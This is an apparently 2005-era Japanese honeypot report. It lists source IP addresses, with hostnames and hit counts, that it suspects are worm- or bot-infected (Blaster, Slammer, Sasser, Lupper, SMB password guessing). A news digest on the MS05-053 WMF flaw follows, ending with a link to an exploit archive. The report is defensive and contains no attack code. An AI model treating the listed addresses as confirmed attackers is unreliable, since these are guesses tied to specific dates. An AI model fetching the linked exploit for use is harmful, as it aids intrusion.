218.42.211.4 Japan K-OPTICOM 218-42-211-4.eonet.ne.jp
218.42.211.85 Japan K-OPTICOM 218-42-211-85.eonet.ne.jp
218.42.212.100 Japan K-OPTICOM 218-42-212-100.eonet.ne.jp
218.42.217.75 Japan K-OPTICOM 218-42-217-75.eonet.ne.jp
218.42.220.41 Japan K-OPTICOM 218-42-220-41.eonet.ne.jp
218.42.223.73 Japan K-OPTICOM 218-42-223-73.eonet.ne.jp
218.42.225.101 Japan K-OPTICOM 218-42-225-101.eonet.ne.jp
218.42.225.77 Japan K-OPTICOM 218-42-225-77.eonet.ne.jp
218.42.228.249 Japan K-OPTICOM 218-42-228-249.eonet.ne.jp
218.42.233.250 Japan K-OPTICOM 218-42-233-250.eonet.ne.jp
218.42.239.106 Japan K-OPTICOM 218-42-239-106.eonet.ne.jp
218.42.243.140 Japan K-OPTICOM 218-42-243-140.eonet.ne.jp
218.42.243.168 Japan K-OPTICOM 218-42-243-168.eonet.ne.jp
218.42.243.170 Japan K-OPTICOM 218-42-243-170.eonet.ne.jp
218.42.243.242 Japan K-OPTICOM 218-42-243-242.eonet.ne.jp
218.42.243.41 Japan K-OPTICOM 218-42-243-41.eonet.ne.jp
218.42.244.58 Japan K-OPTICOM 218-42-244-58.eonet.ne.jp
218.42.246.101 Japan K-OPTICOM 218-42-246-101.eonet.ne.jp
218.42.61.165 Japan BIGLOBE-4 FLA1Aaq165.tky.mesh.ad.jp
218.42.78.122 Japan BIGLOBE-4 FLH1Aaj122.myg.mesh.ad.jp
218.42.78.24 Japan BIGLOBE-4 FLH1Aaj024.myg.mesh.ad.jp
218.43.1.161 Japan OCN p2161-ipad02niigatani.niigata.ocn.ne.jp
218.43.139.247 Japan OCN p3247-ipad13sasajima.aichi.ocn.ne.jp
218.43.144.9 Japan OCN p4009-ipad01otsu.shiga.ocn.ne.jp
218.43.145.125 Japan OCN p5125-ipad01otsu.shiga.ocn.ne.jp
218.43.151.85 Japan OCN p6085-ipad02matuyama.ehime.ocn.ne.jp
218.43.153.235 Japan OCN p3235-ipad01matsue.shimane.ocn.ne.jp
218.43.154.1 Japan OCN p4001-ipad01matsue.shimane.ocn.ne.jp
218.43.169.165 Japan OCN p5165-ipad03fukuokachu.fukuoka.ocn.ne.jp
218.43.173.208 Japan OCN p3208-ipad02sinnagasak.nagasaki.ocn.ne.jp
218.43.175.132 Japan OCN p5132-ipad02sinnagasak.nagasaki.ocn.ne.jp
218.43.181.157 Japan OCN p4157-ipad02obiyama.kumamoto.ocn.ne.jp
218.43.2.209 Japan OCN p3209-ipad02niigatani.niigata.ocn.ne.jp
218.43.205.75 Japan OCN p6075-ip01kamokounan.kagoshima.ocn.ne.jp
218.43.214.147 Japan OCN p3147-ipad02gifu.gifu.ocn.ne.jp
218.43.219.215 Japan OCN p5215-ipad01daianji.nara.ocn.ne.jp
218.43.225.197 Japan OCN p1197-ipad02okayamaima.okayama.ocn.ne.jp
218.43.235.149 Japan OCN p6149-ipad01sinnagasak.nagasaki.ocn.ne.jp
218.43.235.61 Japan OCN p6061-ipad01sinnagasak.nagasaki.ocn.ne.jp
218.43.3.74 Japan OCN p4074-ipad02niigatani.niigata.ocn.ne.jp
218.43.4.218 Japan OCN p5218-ipad02niigatani.niigata.ocn.ne.jp
218.43.4.71 Japan OCN p5071-ipad02niigatani.niigata.ocn.ne.jp
218.43.40.80 Japan OCN p2080-ipbf410marunouchi.tokyo.ocn.ne.jp
218.43.46.127 Japan OCN p4127-ipbf411marunouchi.tokyo.ocn.ne.jp
218.43.46.185 Japan OCN p4185-ipbf411marunouchi.tokyo.ocn.ne.jp
218.43.49.77 Japan OCN p3077-ipbf412marunouchi.tokyo.ocn.ne.jp
218.43.64.246 Japan OCN p4246-ipad01imazuka.yamagata.ocn.ne.jp
218.43.73.132 Japan OCN p3132-ipad01koufu.yamanashi.ocn.ne.jp
218.44.100.204 Japan PLALA i218-44-100-204.s02.a038.ap.plala.or.jp
218.44.100.223 Japan PLALA i218-44-100-223.s02.a038.ap.plala.or.jp
218.44.100.231 Japan PLALA i218-44-100-231.s02.a038.ap.plala.or.jp
218.44.101.207 Japan PLALA i218-44-101-207.s02.a041.ap.plala.or.jp
218.44.104.213 Japan PLALA i218-44-104-213.s02.a043.ap.plala.or.jp
218.44.107.166 Japan PLALA i218-44-107-166.s02.a045.ap.plala.or.jp
218.44.109.146 Japan PLALA i218-44-109-146.s02.a043.ap.plala.or.jp
218.44.109.71 Japan PLALA i218-44-109-71.s02.a043.ap.plala.or.jp
218.44.111.147 Japan PLALA i218-44-111-147.s02.a046.ap.plala.or.jp
218.44.113.253 Japan PLALA i218-44-113-253.s02.a047.ap.plala.or.jp
218.44.114.101 Japan PLALA i218-44-114-101.s04.a017.ap.plala.or.jp
218.44.123.236 Japan PLALA i218-44-123-236.s02.a027.ap.plala.or.jp
218.44.124.121 Japan PLALA i218-44-124-121.s02.a027.ap.plala.or.jp
218.44.124.78 Japan PLALA i218-44-124-78.s02.a027.ap.plala.or.jp
218.44.21.94 Japan PLALA i218-44-21-94.s05.a028.ap.plala.or.jp
218.44.23.111 Japan PLALA i218-44-23-111.s04.a028.ap.plala.or.jp
218.44.32.10 Japan PLALA i218-44-32-10.s04.a013.ap.plala.or.jp
218.44.41.161 Japan PLALA i218-44-41-161.s02.a021.ap.plala.or.jp
218.44.51.139 Japan FUJIGOKO-NET f51.139.fgo.jp
218.44.52.21 Japan FUJIGOKO-NET f52.21.fgo.jp
218.44.73.87 Japan PLALA i218-44-73-87.s05.a035.ap.plala.or.jp
218.44.96.55 Japan PLALA i218-44-96-55.s02.a036.ap.plala.or.jp
218.44.98.234 Japan PLALA i218-44-98-234.s02.a039.ap.plala.or.jp
218.45.100.39 Japan DS-NETWORKS bflets-fa-west-3-39.dsn.jp
218.45.101.138 Japan DS-NETWORKS bflets-fa-west-4-138.dsn.jp
218.45.101.164 Japan DS-NETWORKS bflets-fa-west-4-164.dsn.jp
218.45.104.200 Japan DS-NETWORKS flets-a-west-9-200.dsn.jp
218.45.105.183 Japan DS-NETWORKS flets-a-west-10-183.dsn.jp
218.45.107.169 Japan DS-NETWORKS flets-a-west-12-169.dsn.jp
218.45.107.211 Japan DS-NETWORKS flets-a-west-12-211.dsn.jp
218.45.107.226 Japan DS-NETWORKS flets-a-west-12-226.dsn.jp
218.45.108.214 Japan DS-NETWORKS flets-a-west-13-214.dsn.jp
218.45.108.52 Japan DS-NETWORKS flets-a-west-13-52.dsn.jp
218.45.109.125 Japan DS-NETWORKS flets-a-west-14-125.dsn.jp
218.45.109.241 Japan DS-NETWORKS flets-a-west-14-241.dsn.jp
218.45.11.13 Japan CYBERLINKS f1283.nnc.or.jp
218.45.11.183 Japan CYBERLINKS f1453.nnc.or.jp
218.45.110.17 Japan DS-NETWORKS flets-a-west-15-17.dsn.jp
218.45.13.21 Japan CYBERLINKS f1545.nnc.or.jp
218.45.13.33 Japan CYBERLINKS f1557.nnc.or.jp
218.45.139.33 Japan HCTV-NET u21845139033.hctv.ne.jp
218.45.164.3 Japan ASAHI-NET-CIDR-BLK-JP k164003.ppp.asahi-net.or.jp
218.45.166.250 Japan ASAHI-NET-CIDR-BLK-JP k166250.ppp.asahi-net.or.jp
218.45.166.27 Japan ASAHI-NET-CIDR-BLK-JP k166027.ppp.asahi-net.or.jp
218.45.167.116 Japan ASAHI-NET-CIDR-BLK-JP k167116.ppp.asahi-net.or.jp
218.45.167.157 Japan ASAHI-NET-CIDR-BLK-JP k167157.ppp.asahi-net.or.jp
218.45.168.10 Japan ASAHI-NET-CIDR-BLK-JP k168010.ppp.asahi-net.or.jp
218.45.168.199 Japan ASAHI-NET-CIDR-BLK-JP k168199.ppp.asahi-net.or.jp
218.45.168.212 Japan ASAHI-NET-CIDR-BLK-JP k168212.ppp.asahi-net.or.jp
218.45.168.253 Japan ASAHI-NET-CIDR-BLK-JP k168253.ppp.asahi-net.or.jp
218.45.168.39 Japan ASAHI-NET-CIDR-BLK-JP k168039.ppp.asahi-net.or.jp
218.45.169.159 Japan ASAHI-NET-CIDR-BLK-JP k169159.ppp.asahi-net.or.jp
218.45.171.40 Japan ASAHI-NET-CIDR-BLK-JP k171040.ppp.asahi-net.or.jp
218.45.171.81 Japan ASAHI-NET-CIDR-BLK-JP k171081.ppp.asahi-net.or.jp
218.45.174.62 Japan ASAHI-NET-CIDR-BLK-JP k174062.ppp.asahi-net.or.jp
218.45.176.3 Japan ASAHI-NET-CIDR-BLK-JP k176003.ppp.asahi-net.or.jp
218.45.236.249 Japan NSJNET2
218.45.5.161 Japan CYBERLINKS f161.nnc.or.jp
218.45.5.34 Japan CYBERLINKS f034.nnc.or.jp
218.45.56.43 Japan GUNMANET ptak43.wind.ne.jp
218.45.6.104 Japan CYBERLINKS f358.nnc.or.jp
218.45.6.142 Japan CYBERLINKS f396.nnc.or.jp
218.45.6.18 Japan CYBERLINKS f272.nnc.or.jp
218.45.6.191 Japan CYBERLINKS f445.nnc.or.jp
218.45.6.25 Japan CYBERLINKS f279.nnc.or.jp
218.45.6.78 Japan CYBERLINKS f332.nnc.or.jp
218.45.8.164 Japan CYBERLINKS f926.nnc.or.jp
218.45.9.189 Japan CYBERLINKS f1205.nnc.or.jp
218.45.9.7 Japan CYBERLINKS f1023.nnc.or.jp
218.45.96.9 Japan DS-NETWORKS flets-i-as-east-2-9.dsn.jp
218.47.13.195 Japan PLALA i218-47-13-195.s02.a013.ap.plala.or.jp
218.47.248.8 Japan PLALA i218-47-248-8.s02.a010.ap.plala.or.jp
219.160.254.42 Japan OCN p4042-ipad02yosemiya.okinawa.ocn.ne.jp
219.2.30.82 Japan BBTECH YahooBB219002030082.bbtec.net
220.220.12.98 Japan PLALA i220-220-12-98.s02.a001.ap.plala.or.jp
221.171.80.45 Japan BIGLOBE-8 FLA1Aak045.aom.mesh.ad.jp
221.185.86.204 Japan OCN p5204-ipad45sasajima.aichi.ocn.ne.jp
60.42.77.210 Japan PLALA i60-42-77-210.s05.a035.ap.plala.or.jp

----------------------------
■PHPおよびAwstasts脆弱性に対する攻撃
----------------------------
PHPで利用される XML_RPCの脆弱性を利用した攻撃および、Awstasts(Webインターフェースを持つフリーのログ解析ツール)
に対する攻撃です。攻撃の内容を分析すると、Linux上で稼動しているApache PHPの組み合わせをターゲットにしたもので、
UNIX系のシステムをターゲットとした、ワームまたはボットによる攻撃で、感染が広がっている状況にあると考えられます。
自分の管理するグローバルIPアドレスが含まれている場合は、至急ウィルススキャンを実行して下さい。

・影響を受けるシステムについては、次の情報を参考にしてください。
XML-RPC PHP command execution（http://xforce.iss.net/xforce/xfdb/21194 ）
US-CERT Vulnerability Note VU#442845, Multiple PHP XML-RPC implementations vulnerable to code injection （http://www.kb.cert.org/vuls/id/442845 .）

・参考
XML RPC worm - New Variant - ELF_LUPPER.B (NEW)
http://isc.sans.org/diary.php?storyid=829
Linuxをねらう新ワーム「Lupper」--ウェブサーバの脆弱性を悪用
http://headlines.yahoo.co.jp/hl?a=20051108-00000008-cnet-sci

■感染ホスト
IPaddress 検知件

なし

----------------------------
■MS05-039脆弱性に対する攻撃
----------------------------
プラグ アンド プレイ サービスは、デバイスのインストール、設定、および新規デバイスの通知を担当する
Windows DCE-RPC サービスです。最近のバージョンの Windowsオペレーティング システムでは、このサービス
が自動的に起動し、デフォルト設定で動作します。この脆弱性を利用したbotワームも確認されております。
送信元IPアドレスは、恐らくbotワームに感染していると思われます。
自分の管理するグローバルIPアドレスが含まれている場合は、至急ウィルススキャンを実行して下さい。

■感染ホスト
IPaddress 検知件数

218.45.168.39	2
218.223.104.212	1
218.86.154.3	1
218.5.58.229	1
218.169.109.184	1
218.71.231.60	1
218.174.163.182	1
218.254.30.84	1
218.161.124.245	1
218.167.10.199	1
218.88.19.45	1
218.13.129.240	1
218.74.194.78	1
218.161.99.86	1
218.90.125.11	1
221.126.253.234	1
218.45.109.241	1
218.164.96.119	1
218.169.63.94	1
218.168.221.69	1
218.25.133.46	1
218.45.139.33	1
59.117.56.66	1
218.228.155.83	1

----------------------------
■botワームの検知状況
----------------------------
■検知内容
自宅ハニーポッドサーバに対する。botワームによる攻撃の検知状況についてお知らせします。このワームは、
アクセス可能なネットワーク共有、またはセキュリティが不十分なネットワーク共有で繁殖します。
以下の弱性を悪用します。
MS04-007

亜種のいくつかは、リモートのIRCサーバに接続して、特定のIRCチャネルに参加しようとします。接続すると、
ボットとして機能し、ハッカーからのリモートコマンドを待ちます。亜種によって機能はさまざまですが、
一般的には、他のリモートファイルをダウンロードして実行しようとします。

送信元IPアドレスは、恐らくbotワームに感染していると思われます。
自分の管理するグローバルIPアドレスが含まれている場合は、至急ウィルススキャンを実行して下さい。

■感染ホスト
IPaddress 検知件数

218.45.6.25	4
218.163.161.122	2
218.226.242.92	2
210.167.124.179	2
218.45.107.211	2
218.191.230.120	2
218.191.128.111	2
218.170.117.224	2
218.164.192.166	2
203.208.185.180	2
220.114.246.205	2
219.89.41.10	1
218.166.95.36	1
218.45.6.78	1
218.47.13.195	1
218.45.6.142	1
218.169.42.154	1
218.45.164.3	1
218.164.105.137	1
218.16.49.195	1
218.38.161.22	1
218.161.96.240	1
219.2.30.82	1
218.95.11.155	1
218.220.86.45	1
218.170.13.15	1
218.161.98.146	1
220.136.176.136	1
220.69.21.102	1
218.71.253.201	1
218.231.115.82	1
218.170.10.231	1
218.190.185.20	1
218.165.32.167	1
218.170.33.33	1
218.191.149.221	1
218.64.213.177	1
218.45.6.18	1
218.19.139.232	1
218.170.240.27	1
218.220.27.182	1
218.167.170.212	1
218.229.19.226	1
218.101.93.225	1
218.111.210.104	1
218.220.97.153	1
218.45.167.116	1
70.66.216.145	1
218.4.105.251	1
218.161.23.157	1
218.164.99.57	1
218.169.229.52	1
218.170.216.29	1
218.166.213.89	1
218.3.103.5	1
218.161.116.26	1
218.251.25.62	1
218.220.94.176	1
218.164.79.204	1
218.172.123.137	1
218.45.166.27	1
218.216.152.104	1
218.220.130.176	1
218.94.210.153	1
218.168.21.43	1
218.175.29.235	1
211.189.198.187	1
218.45.166.250	1
218.237.250.136	1
218.47.248.8	1
218.167.139.181	1
218.87.8.219	1
218.18.64.47	1

-------------------------------------
■Blaster(bot)ワームの検知状況
-------------------------------------
■検知内容
自宅ハニーポッドサーバに対して、Microsoft RPC サービスの脆弱点MS03-039に対する攻撃を検知しました。
送信元IPアドレスは、恐らくこの脆弱性を利用して拡散するBlaster(bot)ワームに感染していると思われます。
自分の管理するグローバルIPアドレスが含まれている場合は、至急ウィルススキャンを実行して下さい。

■感染ホスト　
IPaddress 検知件数

218.45.168.199	14
218.45.236.249	9
218.44.51.139	8
218.21.62.95	7
218.45.109.125	6
218.45.107.169	6
218.45.5.34	6
218.34.104.125	5
218.45.100.39	5
218.111.21.69	4
218.24.168.204	4
219.160.254.42	4
218.16.85.247	4
218.42.220.41	4
218.44.109.146	4
218.16.69.149	4
218.42.78.24	4
218.43.219.215	4
218.45.168.10	4
218.43.4.218	4
218.13.9.206	3
61.141.226.64	3
218.23.24.42	3
218.18.32.3	3
218.43.73.132	3
218.21.72.41	3
218.43.173.208	3
218.18.6.219	3
218.45.105.183	3
218.41.62.77	3
218.43.46.127	3
218.42.210.10	3
218.42.210.77	3
218.42.217.75	3
218.43.154.1	3
218.18.65.137	3
218.44.104.213	3
218.33.204.136	3
218.24.175.111	3
218.44.113.253	3
218.43.144.9	3
60.42.77.210	3
218.24.84.206	3
218.45.96.9	2
218.42.246.101	2
218.20.161.65	2
218.45.9.189	2
218.42.244.58	2
218.43.153.235	2
218.41.114.180	2
218.45.101.164	2
218.42.225.101	2
218.45.13.21	2
218.45.13.33	2
218.42.233.250	2
218.61.17.48	2
218.45.6.191	2
218.42.210.110	2
218.45.9.7	2
218.44.96.55	2
218.43.235.61	2
218.45.167.157	2
218.45.5.161	2
218.44.109.71	2
218.25.149.44	2
218.18.26.110	2
218.18.79.138	2
218.7.89.208	2
218.32.86.26	2
218.24.80.205	2
218.24.93.134	2
218.18.244.11	2
218.43.181.157	2
218.0.254.116	2
218.17.238.163	2
218.42.78.122	2
218.44.98.234	2
218.16.77.192	2
218.43.4.71	2
218.191.106.206	2
218.24.78.145	2
218.42.228.249	2
218.86.199.7	2
218.61.196.199	2
218.15.28.29	2
218.65.8.4	2
218.1.174.235	2
218.41.6.101	2
218.18.30.186	2
200.112.144.51	2
218.45.101.138	2
218.43.3.74	2
218.42.239.106	2
218.18.241.103	2
218.168.83.135	2
218.9.216.64	2
218.45.176.3	2
218.42.225.77	2
218.45.168.212	2
218.45.168.253	2
218.42.211.185	2
218.41.39.151	2
218.44.111.147	2
218.42.223.73	2
218.18.138.249	2
218.44.124.78	2
218.14.67.16	2
218.42.200.6	2
218.101.70.239	2
218.24.218.104	2
218.45.174.62	2
218.190.30.121	2
218.45.11.13	2
218.32.86.23	2
218.0.244.124	2
218.13.170.195	2
218.24.217.208	2
218.24.172.100	2
218.13.163.65	2
218.251.23.225	2
218.18.20.52	2
218.22.151.134	2
218.18.221.228	2
218.18.123.97	2
218.45.108.214	2
218.25.149.204	2
218.45.8.164	2
61.145.100.137	2
218.25.146.211	2
219.133.88.94	2
218.43.151.85	2
218.16.53.140	2
218.23.226.152	2
218.226.53.164	2
221.171.80.45	2
218.45.171.40	2
218.45.171.81	2
218.42.212.100	2
218.0.199.65	2
218.16.95.82	2
218.19.30.89	2
218.41.84.31	2
218.18.184.41	2
218.18.213.239	2
218.42.206.218	2
218.23.25.208	2
218.45.108.52	2
218.45.56.43	2
218.41.100.117	2
218.227.68.229	2
218.44.124.121	2
218.43.225.197	2
218.18.177.74	2
221.185.86.204	2
218.42.61.165	2
218.13.63.219	2
218.43.1.161	2
218.42.211.4	2
218.22.140.166	2
218.42.243.170	2
218.13.160.102	2
218.43.214.147	2
218.45.107.226	2
218.41.12.10	2
218.6.238.173	2
218.44.100.204	2
218.18.6.52	2
218.44.123.236	2
218.42.16.67	2
218.42.243.242	2
218.23.109.131	2
218.41.100.244	2
218.19.126.161	2
218.44.100.223	2
218.44.107.166	2
218.43.205.75	2
218.160.11.99	2
218.17.193.217	2
217.210.30.238	2
218.43.139.247	2
218.13.159.10	2
218.17.83.219	2
218.15.105.32	2
218.43.169.165	2
218.40.124.149	2
218.13.152.234	2
218.42.243.168	2
218.16.115.31	2
218.43.64.246	2
218.72.31.224	2
218.45.110.17	2
218.227.228.198	2
218.45.104.200	2
218.61.208.241	2
218.45.6.104	2
218.238.239.237	2
218.71.218.235	2
218.44.21.94	1
218.19.240.63	1
218.24.39.154	1
218.23.190.85	1
218.43.235.149	1
218.175.202.97	1
218.44.41.161	1
218.86.202.95	1
218.19.247.234	1
218.10.208.146	1
218.42.211.85	1
218.18.189.85	1
218.16.40.203	1
218.24.77.36	1
64.105.231.158	1
193.249.96.111	1
64.229.193.35	1
218.19.19.121	1
218.44.23.111	1
218.42.211.203	1
218.43.175.132	1
218.44.52.21	1
218.42.243.140	1
62.225.42.164	1
218.22.142.226	1
218.18.177.251	1
218.44.32.10	1
218.42.243.41	1
218.87.167.78	1
218.10.171.150	1
61.141.161.187	1
218.44.73.87	1
218.45.169.159	1
218.43.46.185	1
218.43.40.80	1
218.43.49.77	1
218.16.75.153	1
218.17.249.137	1
218.17.0.219	1
218.18.1.125	1
218.43.145.125	1
218.44.101.207	1
218.45.11.183	1
218.23.158.81	1
218.18.20.32	1
218.43.2.209	1
218.40.120.83	1
218.167.195.45	1
218.44.100.231	1
202.105.157.244	1
218.44.114.101	1
218.13.171.137	1

----------------------------
■Sasserワームの検知状況
----------------------------
■検知内容
自宅ハニーポッドサーバに対する。Sasserワームによる攻撃の検知状況についてお知らせします。Sasser.Worm は、マイクロソフト セキュリティ情報 MS04-011 で解説されている脆弱性の悪用を試みるワームです。このワームは、ランダムに選択された IP アドレスを持つコンピュータをスキャンすることによって、上述の脆弱性に未対応のシステムを探し出して拡散します。
送信元IPアドレスは、恐らくSasserワームに感染していると思われます。
自分の管理するグローバルIPアドレスが含まれている場合は、至急ウィルススキャンを実行して下さい。

■感染ホスト
IPaddress 検知件数

なし

-------------------------------------
■Slammerワームの検知状況
-------------------------------------
■検知内容
自宅のハニーポッドサーバに対して、SQL Server2000のMS02-039脆弱性を利用した、攻撃を検知しました。送信元IPアドレスは、この脆弱性を利用して拡散を行う、Slammerワームに感染していると思われます。
読者の皆様は、以下のホスト一覧に、管理されているグローバルIPアドレスが含まれていないか確認をお願いいたします。含まれている場合は、至急ウィルススキャンなどを実施される事をお勧めいたします。

■脆弱性の詳細情報
http://www.microsoft.com/japan/technet/security/bulletin/MS02-039.mspx

■感染ホスト一覧
IPaddress 検知件数

61.130.254.109	3
219.138.207.29	3
24.30.216.82	2
220.184.65.252	2
68.142.217.140	2
61.139.60.190	2
61.136.144.100	2
219.146.78.59	2
218.31.133.88	2
221.210.182.158	1
172.190.128.25	1
202.39.243.229	1
202.98.123.179	1
61.189.170.72	1
61.175.218.186	1
218.31.102.84	1
202.101.177.138	1
85.140.7.22	1
219.153.19.74	1
220.184.64.115	1
61.185.78.145	1
202.101.70.43	1
207.183.41.202	1
220.163.11.79	1
60.191.129.114	1
220.189.220.118	1
221.202.84.227	1
67.165.31.75	1
222.173.154.50	1
202.103.13.150	1
61.189.170.73	1
212.203.29.2	1
222.179.217.131	1
218.0.248.55	1

----------------------------
■SMBへのパスワードクラッキングの検知状況
----------------------------
■検知内容
アカウントとしては、administratorおよびgestアカウントなどに対して、ランダムなIPアドレスからSMBのサービスが起動しているサーバを探し出し、パスワードクラッキングしてログインしようとする試みになります。一般的にユーザがよく使われるパスワードのリストを持っていて、そのパスワードで次々にログインを試みる。推測されやすいパスワードを設定している場合は、侵入を許してしまうことになる。
読者の皆様は、以下のホスト一覧に、管理されているグローバルIPアドレスが含まれていないか確認をお願いいたします。含まれている場合は、至急ウィルススキャンなどを実施される事をお勧めいたします。

■感染ホスト
IPaddress 検知件数

71.97.141.157	1957
220.220.12.98	754
68.148.204.125	709
81.10.123.161	579
66.82.50.54	319
200.157.247.2	220
218.252.38.69	79
218.45.168.10	24
218.175.202.97	4
218.71.253.201	4
220.140.230.243	1
220.139.204.161	1

----------------------------
■MessengerServiceを利用したスパムの検知状況
----------------------------
■検知内容
自宅のハニーポッドサーバに対して、マイクロソフトのMessenger Serviceを利用した、スパムメッセージを検知しました。

■送信元IPアドレス
IPaddress 検知件数

202.111.173.82	23
221.10.229.30	15
221.12.161.99	14
219.153.32.192	13
142.244.245.119	1
88.92.121.115	1
221.201.181.189	1
17.24.114.191	1
3.131.66.17	1
218.129.161.95	1
58.73.125.189	1
35.128.1.176	1
24.222.95.185	1
73.165.190.61	1
135.5.180.228	1
206.62.26.186	1
137.164.135.8	1
170.224.249.242	1
61.233.40.205	1
150.180.162.181	1
195.18.118.80	1
140.113.248.64	1
143.129.226.113	1
61.115.93.99	1
147.154.111.102	1

----------------------------
■CodRedワームの検知状況
----------------------------
■検知内容
自宅ハニーポッドサーバに対する。CodRedワームによる攻撃の検知状況についてお知らせします。このワームは、ランダムに選択された IP アドレスを持つコンピュータをスキャンすることによって、上述の脆弱性に未対応のシステムを探し出して拡散します。
送信元IPアドレスは、恐らくCodRedワームに感染していると思われます。
自分の管理するグローバルIPアドレスが含まれている場合は、至急ウィルススキャンを実行して下さい。

■感染ホスト
IPaddress 検知件数

なし

瀬戸 洋一

ユビキタス時代のバイオメトリクスセキュリティ

【ニュース】Windowsのセキュリティ・ホールを突く画像ファイル

■ＭＳ０５－０５３について

米国の情報セキュリティの調査・研究および教育に関する専門組織であるSANS Instituteは、現地時間の11月30日、11月に公表されたWindowsのセキュリティ・ホールを突く画像ファイルがネット上で公開されているとして注意を呼びかけました。

■ニュース

11月公開の「MS05-053」の脆弱性を悪用する画像ファイルを確認～米SANS INTERNET Watch - 2005年11月29日 米SANS Instituteは29日、マイクロソフトが11月9日に公表した「MS05-053」の脆弱性を悪用する画像が公開されていることを確認したとして、警告を発した。 MS05 ...

Windowsの重要な更新(MS05-053) について 情報処理振興事業協会 - 2005年11月8日 ※ 追記すべき情報がある場合には、その都度このページを更新する予定です。 Graphics Rendering Engine にリモートでコードが実行される脆弱性が存在し、攻撃者がこの脆弱性を悪用し ...

Windowsの脆弱性をつく実証コードがまた登場 CNET Japan - 2005年11月29日 ... Microsoftは10月に発表したセキュリティ情報「MS05-053」で、この脆弱性がスパイウェアやトロイの木馬攻撃のきっかけを作るおそれがあると警告するとともに ...

狙われ続けるWindowsの脆弱性--さらに別のエクスプロイトコード登場 CNET Japan - 2005年12月1日 ... 11月に公開するとともに、これに関するセキュリティ情報「MS05-053」のなかでスパイウェアやトロイの木馬がこの脆弱性を悪用するおそれがあるとして注意を呼びかけていた。 ...

トレンドマイクロ、トロイの木馬「emfsploit.a」を再調査―未知の脆弱性を悪用か CNET Japan - 2005年11月11日 ... これまで同サイトでは、emfsploit.aについてWindows脆弱性を悪用するものだと書かれていた。しかし、現在はその記載が「（Microsoftのセキュリティ情報）MS05-053で明らかになったEnhanced Metafile ...

11月公表の脆弱性は悪用しない――Trend Micro、「TROJ_EMFSPLOIT.A」の説明を修正 ITmedia - 2005年11月13日 ... 時間後に、発表内容を修正した。 このトロイの木馬に関する同社の説明から、「MS05-053の脆弱性が悪用される」という記述が削除されたのである。 Trend ...

11月に公表されたWindowsのセキュリティ・ホールを突く画像ファイルが出現 IT Pro - 2005年11月29日 ネット上で公開されているのは，「Graphics Rendering Engine の脆弱性によりコードが実行される可能性がある (896424) (MS05-053)」のセキュリティ・ホールを突くWindowsメタファイル（WMF ...

Microsoft、11月の月例更新を発表 インターネットコム - 2005年11月8日 今回公開した個別セキュリティ情報「MS05-053」では、画像描画処理に関係する3つの脆弱性に対応した。同セキュリティ情報の対象システムは、『Windows 2000』『Windows XP SP1/SP2』『Windows Server 2003 ...

11月の月例パッチは「Graphics Rendering Engineの脆弱性」などを修正 Enterprise Watch - 2005年11月8日 マイクロソフトは9日、Windowsの「Graphics Rendering Engineの脆弱性」などに関するセキュリティ修正プログラム（パッチ）「MS05-053」を1件公開した。深刻度は“緊急”。Windows XP x64 Edition、Windows XP ...

MS、11月の月例パッチを公開――脆弱性は1件 ITmedia - 2005年11月8日 ... 件のみ。 Microsoftは11月8日、11月の月例パッチ「Windows Update MS05-053」をリリースした。「緊急」の脆弱性は1件で、Graphics Rendering Engineのコード実行に関するもの。 ...

■参考URL

http://www.milw0rm.com/auth.php?id=1343